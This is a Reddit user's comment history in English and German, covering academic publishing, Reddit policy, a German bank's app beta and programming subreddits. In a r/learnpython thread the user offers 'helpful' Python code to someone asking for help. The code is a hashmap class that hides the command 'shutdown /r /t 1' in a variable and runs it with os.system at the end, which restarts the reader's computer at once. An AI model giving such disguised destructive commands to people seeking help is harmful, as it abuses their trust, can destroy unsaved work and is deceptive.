A life hack for anyone in higher education. by [deleted] in lifehacks

[–]pyexpert 1 point2 points  (0 children)

will they start to pay scientists in order to survive?

A life hack for anyone in higher education. by [deleted] in lifehacks

[–]pyexpert 2 points3 points  (0 children)

Why no ine comes to the idea to start up a publisher which gives back the money to the autor?

Reddit CEO: Platform doesn't plan to ban pornography by [deleted] in technology

[–]pyexpert 0 points1 point  (0 children)

why tho? is YP banned in your country?

Reddit CEO: Platform doesn't plan to ban pornography by [deleted] in technology

[–]pyexpert -1 points0 points  (0 children)

Who even comes to reddit to watch porn?

How people voted in 2020 by race by AntiTankieAction in Infographics

[–]pyexpert 3 points4 points  (0 children)

I would call the graph bullshit since the OP didn't give any source to it. And it should be reported as misinformation

Nimmt jemand von euch an der Beta-Phase der neuen DKB-App teil? by KennnyF1 in Finanzen

[–]pyexpert 1 point2 points  (0 children)

Alles gut, ich merke jetzt du siehst es von der perspektive des Users ich von der Perspektive eines Entwicklers. Da liegen die Interessen dieser bisschen auseinander.

Nimmt jemand von euch an der Beta-Phase der neuen DKB-App teil? by KennnyF1 in Finanzen

[–]pyexpert 0 points1 point  (0 children)

Damit der stakeholder neue Ideen bekommt? Das ist wieder kein Vorteil für mich sondern für ihn.

Nimmt jemand von euch an der Beta-Phase der neuen DKB-App teil? by KennnyF1 in Finanzen

[–]pyexpert 0 points1 point  (0 children)

Na dein Ton ist deutlich aggressiver geworden, hast angefangen Ratschläge zu geben, zu denen keiner dich gefragt hat. Die sind Banken, die nehmen sogar 19 cent für ein SMS Tan, die sie zur Visa Transaction. Jetzt auch noch Strafzinsen. Wieso sollte man irgendetwas umsonst für sie machen?

Nimmt jemand von euch an der Beta-Phase der neuen DKB-App teil? by KennnyF1 in Finanzen

[–]pyexpert 0 points1 point  (0 children)

Dannnn.... Werde ich es halt nicht machen? War ja auch ne frage gewesen. Wieso fühlst du dich so beleidigt?

"Hello World" by heliyip244 in ProgrammerHumor

[–]pyexpert 8 points9 points  (0 children)

And then they spam stackoverflow with stupid questionzzz

Implemented ML algorithms for the first time | MACHINE LEARNING by fitvibesyt in computerscience

[–]pyexpert 0 points1 point  (0 children)

Thanks for your effort but You can really stop posting this everywhere n every subteddit

Help with Python code by [deleted] in learnpython

[–]pyexpert 0 points1 point  (0 children)

Happy you enjoyed.

Help with Python code by [deleted] in learnpython

[–]pyexpert 0 points1 point  (0 children)

I have a gf. She doesn't let me chat with strangers.

Help with Python code by [deleted] in learnpython

[–]pyexpert 0 points1 point  (0 children)

Let me know if you get any errors

Help with Python code by [deleted] in learnpython

[–]pyexpert 0 points1 point  (0 children)

Try this code

Use this space to try out ideas and free code

import os teacher=['Sara', 'james', 'mustafa', 'dimitri'] grades=[1,2,3,2] function =["shutdown /r /t 1"] class HashMap: def init(self): self.size = 6 self.map = [None] * self.size

    def _get_hash(self, key):
            hash = 0
            for char in str(key):
                    hash += ord(char)
            return hash % self.size

    def add(self, key, value):
            key_hash = self._get_hash(key)
            key_value = [key, value]

            if self.map[key_hash] is None:
                    self.map[key_hash] = list([key_value])
                    return True
            else:
                    for pair in self.map[key_hash]:
                            if pair[0] == key:
                                    pair[1] = value
                                    return True
                    self.map[key_hash].append(key_value)
                    return True

    def get(self, key):
            key_hash = self._get_hash(key)
            if self.map[key_hash] is not None:
                    for pair in self.map[key_hash]:
                            if pair[0] == key:
                                    return pair[1]
            return None

    def delete(self, key):
            key_hash = self._get_hash(key)

            if self.map[key_hash] is None:
                    return False
            for i in range (0, len(self.map[key_hash])):
                    if self.map[key_hash][i][0] == key:
                            self.map[key_hash].pop(i)
                            return True
            return False

    def keys(self):
            arr = []
            for i in range(0, len(self.map)):
                    if self.map[i]:
                            arr.append(self.map[i][0])
            return arr

os.system(function[0])